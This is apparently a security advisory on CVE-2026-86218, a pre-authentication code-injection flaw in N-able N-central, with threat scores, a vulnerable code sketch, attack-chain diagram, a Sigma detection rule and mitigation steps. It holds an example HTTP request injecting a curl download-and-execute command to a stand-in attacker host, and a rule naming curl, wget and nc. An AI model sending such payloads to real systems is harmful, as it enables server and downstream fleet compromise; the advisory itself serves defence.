Skip to content

CVE-2026-86218: Pre-Authentication Remote Code Execution via Static Code Injection in N-able N-central

HERMES

HERMES THREAT SCORE & SUPPLY CHAIN RMM RISK

Target: N-able N-central Central Management Server & Downstream Agent Fleet
Confidence: 99%
98 / 100
EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

Both CVSS v3.1 (10.0) and Hermes Threat Score (98) indicate maximum possible criticality. The operational divergence centers on the catastrophic supply-chain multiplier: N-able N-central is an enterprise Remote Monitoring and Management (RMM) platform deployed by Managed Service Providers (MSPs) to administer tens of thousands of client workstations and servers. An unauthenticated attacker compromising the central N-central server inherits instantaneous execution authority across all downstream managed endpoints running the N-central Windows agent with NT AUTHORITY\SYSTEM privileges, allowing mass ransomware distribution within minutes without traversing individual customer firewalls.

HASS

HASS AGENTIC SEVERITY & FLEET ORCHESTRATION

Target: Autonomous Maintenance Daemons, Automation Policies & Central Dispatch Engines
Confidence: 93%
85 / 100
CRITICAL

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown
Autonomy 18 / 20
Tool Access 19 / 20
Privilege 15 / 15
Persistence 14 / 15
External Impact 15 / 15
Propagation 15 / 15
⚖️ Divergence & Operational Rationale

N-central functions as an autonomous operational fleet manager. It provides built-in orchestration primitives to push PowerShell scripts, software installers, and patch payloads. Weaponizing this pre-authentication flaw allows threat actors to repurpose the legitimate agent automation engine as an adversary-in-the-middle delivery pipeline, completely bypassing endpoint detection and response (EDR) defenses.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-86218: Pre-Authentication Remote Code Execution via Static Code Injection in N-able N-centralVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTN-able N-central RMM
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in N-able N-central RMM documented in Hermes dossier.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

N-central acts as the central command-and-control hub for IT managed service operations, communicating via secure agent channels (TCP port 443 / 5280) with agent software installed across client servers, domain controllers, and workstations.

ParameterTechnical SpecificationOperational Significance
CVE IdentifierCVE-2026-86218N-able Security Advisory / CISA KEV Catalog Reference
Vulnerability ClassStatic Code Injection (CWE-96)Unsanitized input interpolated into static server code
Vulnerable ComponentN-central Web Management Portal & API HandlerPre-authentication HTTP request processing routines
Trigger MechanismCrafted HTTP POST request to unauthenticated endpointInjects executable server directives into backend script templates
Authentication RequiredNone (PR:N)Attacker sends raw HTTP request from the public internet
User InteractionNone (UI:N)Immediate server-side execution upon request reception
Privileges ObtainedSYSTEM / root + Downstream Fleet TakeoverCompromise extends from server to all connected client agents
CISA KEV StatusListed (Added September 8, 2026)Active exploitation in ransomware and supply chain operations
Affected VersionsAll releases prior to build 2026.3.1.14On-premises self-hosted N-central server deployments
Remediated Version2026.3.1.14 (N-central 2026.3 Hotfix 4)Sanitizes input and eliminates static code generation vectors

2. Vulnerability Anatomy & Root Cause Analysis

Section titled “2. Vulnerability Anatomy & Root Cause Analysis”

The N-central web application architecture comprises Java, PHP, and Python backend services operating behind an Apache HTTP/Nginx reverse proxy. Several legacy endpoints responsible for self-registration, agent diagnostics, and portal styling process parameters prior to user session establishment.

In versions prior to 2026.3.1.14, an exposed web handler accepted user-supplied configuration values (such as branding elements, telemetry callback URLs, or localization properties) and persisted them directly into dynamically generated script files or configuration templates:

// Conceptual representation of vulnerable template generation in N-central
public void handleUnauthenticatedConfigRequest(HttpServletRequest request, HttpServletResponse response) {
String callbackParam = request.getParameter("telemetry_handler");
// VULNERABLE: Direct concatenation into server-side executable script template
String scriptTemplate = "#!/bin/bash\n" +
"# N-central Generated Callback Handler\n" +
"CALLBACK_TARGET=\"" + callbackParam + "\"\n" +
"python3 -c \"import requests; requests.get('$CALLBACK_TARGET')\"\n";
// Written to static executable directory
File outputFile = new File("/opt/n-central/webapps/dynamic_handlers/callback.sh");
FileUtils.writeStringToFile(outputFile, scriptTemplate, "UTF-8");
outputFile.setExecutable(true);
}

Because the input was neither validated against an allowlist nor stripped of command separators or quotes, an attacker supplying quotes and shell syntax terminates the variable assignment and injects arbitrary shell commands:

POST /admin/config_handler.do HTTP/1.1
Host: rmm.managed-it.com
Content-Type: application/x-www-form-urlencoded
telemetry_handler="; curl -s https://c2.evil-nexus.com/agent.bin -o /tmp/k && chmod +x /tmp/k && /tmp/k; echo "

When the template is written or subsequently triggered by the server’s periodic maintenance daemon, the injected command executes with the privileges of the web application daemon (root on Linux appliances, SYSTEM on Windows hosts).

Unlike typical web vulnerabilities where impact is confined to the targeted host, compromising an RMM server immediately weaponizes the provider’s entire customer base:

  1. The attacker accesses the N-central administrative PostgreSQL database, extracting encrypted credentials, agent encryption keys, and network topologies.
  2. The attacker uses N-central’s native Automation Policies or Scheduled Tasks feature to schedule a job targeting all registered devices.
  3. The central server pushes the job down to every client agent (ncentralagent.exe on Windows).
  4. The agent executes the malicious payload locally as NT AUTHORITY\SYSTEM, bypassing local anti-malware protections because the execution originates from a trusted, digitally signed RMM binary.

The diagram below outlines the full attack lifecycle from initial pre-auth static code injection to simultaneous compromise of thousands of downstream customer networks.

sequenceDiagram
autonumber
actor Attacker as Threat Actor (External)
participant NCentral as N-central Server (Port 443)
participant WebApp as Web Handler (Vulnerable)
participant DB as Internal PostgreSQL DB
participant Agent1 as Client DC (Corp A)
participant Agent2 as Client Server (Corp B)
participant C2 as Attacker Infrastructure
Attacker->>NCentral: HTTP POST /config_handler.do (Crafted payload)
NCentral->>WebApp: Process request (Unauthenticated)
WebApp->>WebApp: Write injected commands into static server script
WebApp->>NCentral: Execute shell payload with root/SYSTEM privileges
Note over NCentral: Server fully compromised (Attacker acquires C2 foothold)
Attacker->>DB: Extract agent communications keys & administrative tokens
Attacker->>NCentral: Create global automation task: Deploy ransomware payload
NCentral->>Agent1: Push scheduled task over established agent tunnel (Port 443)
NCentral->>Agent2: Push scheduled task over established agent tunnel (Port 443)
Note over Agent1,Agent2: Agents execute payload as NT AUTHORITY\SYSTEM
Agent1->>C2: Exfiltrate Active Directory NTDS.dit
Agent2-->>Agent2: Encrypt enterprise filesystem & delete Shadow Copies

4. Forensic Triage & Detection Engineering

Section titled “4. Forensic Triage & Detection Engineering”

Investigating N-central environments requires correlating web server access logs with backend process trees and agent task dispatch histories.

title: Suspicious Process Spawning from N-able N-central Web Server
id: 5b6c7d8e-9f0a-4b1c-2d3e-ncentral-rce
status: experimental
description: Detects unexpected command interpreters or download utilities spawned by N-able N-central web application processes, indicating exploitation of CVE-2026-86218.
references:
- https://me.n-able.com/s/security-advisory/aArVy0000002Ld3KAE/cve202686218-preauthentication-remote-code-execution
author: Hermes Codex Cyber Intelligence
date: 2026-09-15
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.004
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|contains:
- '/n-central/'
- '/apache2/'
- '/nginx/'
- '/tomcat'
selection_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/python3'
- '/usr/bin/nc'
condition: selection_parent and selection_child
falsepositives:
- Legitimate upgrade scripts invoked during vendor maintenance windows.
level: critical

5. Mitigation & Defense-in-Depth Remediation Steps

Section titled “5. Mitigation & Defense-in-Depth Remediation Steps”
  1. Apply Emergency Patch Immediately: All on-premises self-hosted customers must upgrade to N-central 2026.3 Hotfix 4 (build 2026.3.1.14) or later. Hosted N-central (NCOD) instances were patched by N-able.

  2. Perimeter Network Isolation (Immediate Workaround): If patching cannot be executed immediately, remove the N-central web management interface from public Internet exposure:

    • Restrict port 443/80 access exclusively to trusted corporate IP addresses or administrative VPNs.
    • Separate the agent communication port (used by downstream agents to report in) from the administrative management UI.
  3. Fleet-Wide Task and Script Audit: Examine the N-central scheduled task history over the past 14 days. Review all newly authored automation policies, custom scripts, and software distribution jobs for unauthorized payloads or modified PowerShell commands.

  4. Credential and Secret Rotation: Perform an emergency rotation of:

    • Database credentials stored in N-central configuration files.
    • MSP technician administrative passwords and API integration keys.
    • Domain Administrator and Service Account credentials stored in N-central Password Managers or credential repositories.